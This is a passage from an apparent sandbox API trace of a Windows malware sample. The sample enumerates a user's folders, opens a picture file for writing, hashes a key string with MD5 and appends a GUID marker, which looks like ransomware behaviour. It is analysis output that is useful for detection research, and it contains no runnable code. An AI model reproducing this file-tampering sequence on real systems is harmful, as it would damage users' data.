HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.171] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.171] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.171] PathFindFileNameW (pszPath="") returned="" [0272.171] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IME12\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.185] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.185] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.185] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.185] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.185] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.185] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\") returned="IMJP12\\" [0272.185] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.186] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.186] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.186] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.186] PathFindFileNameW (pszPath="") returned="" [0272.186] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP12\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.186] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.186] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.186] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.187] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.187] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.187] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\") returned="IMJP8_1\\" [0272.187] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.187] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.187] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.187] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.187] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.187] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.187] PathFindFileNameW (pszPath="") returned="" [0272.187] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP8_1\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.188] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.188] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.188] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.189] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.189] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.189] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\") returned="IMJP9_0\\" [0272.189] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.189] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.189] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.189] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.189] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.189] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.189] PathFindFileNameW (pszPath="") returned="" [0272.189] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\IMJP9_0\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.190] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.190] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0272.190] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.190] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.190] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0272.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0272.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.190] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.190] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.190] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.190] PathFindFileNameW (pszPath="") returned="" [0272.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.199] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5616fca0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5616fca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.199] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DOMStore", cAlternateFileName="")) returned 1 [0272.199] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0272.199] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x5616fca0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x2bf7e690, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2bf7e690, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 0 [0272.199] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.199] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.199] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.199] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0272.199] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0272.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.200] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.200] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.200] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.200] PathFindFileNameW (pszPath="") returned="" [0272.200] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7eea3160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7eec92c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eec92c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AU", cAlternateFileName="")) returned 1 [0272.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0272.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0272.201] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 0 [0272.201] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.201] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.202] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\") returned="q5KdcF5euAdAWzc8\\" [0272.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\") returned="GbnfrHoOCWV\\" [0272.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\") returned="io8_8GuAwtxmu\\" [0272.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0272.202] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.202] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.202] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.202] PathFindFileNameW (pszPath="") returned="" [0272.202] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf394bb40, ftCreationTime.dwHighDateTime=0x1d4d42b, ftLastAccessTime.dwLowDateTime=0xd5945130, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xd5945130, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.206] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf394bb40, ftCreationTime.dwHighDateTime=0x1d4d42b, ftLastAccessTime.dwLowDateTime=0xd5945130, ftLastAccessTime.dwHighDateTime=0x1d4cfbe, ftLastWriteTime.dwLowDateTime=0xd5945130, ftLastWriteTime.dwHighDateTime=0x1d4cfbe, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.206] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401cd450, ftCreationTime.dwHighDateTime=0x1d4c6d2, ftLastAccessTime.dwLowDateTime=0xdd57780, ftLastAccessTime.dwHighDateTime=0x1d4c9ee, ftLastWriteTime.dwLowDateTime=0xdd57780, ftLastWriteTime.dwHighDateTime=0x1d4c9ee, nFileSizeHigh=0x0, nFileSizeLow=0x142df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQmlW2dWeShgkpqPW.png", cAlternateFileName="FQMLW2~1.PNG")) returned 1 [0272.206] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\fQmlW2dWeShgkpqPW.png") returned=".png" [0272.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\fQmlW2dWeShgkpqPW.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\fqmlw2dweshgkpqpw.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.206] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=82655) returned 1 [0272.206] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.209] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x142b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.209] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.210] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x142df, lpOverlapped=0x0) returned 1 [0272.211] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.211] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.212] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.212] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5170) returned 1 [0272.213] CryptCreateHash (in: hProv=0x2fa5170, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.213] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.213] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.213] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.213] GetLastError () returned 0x0 [0272.213] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.213] CryptReleaseContext (hProv=0x2fa5170, dwFlags=0x0) returned 1 [0272.214] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x142df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.214] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.214] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, 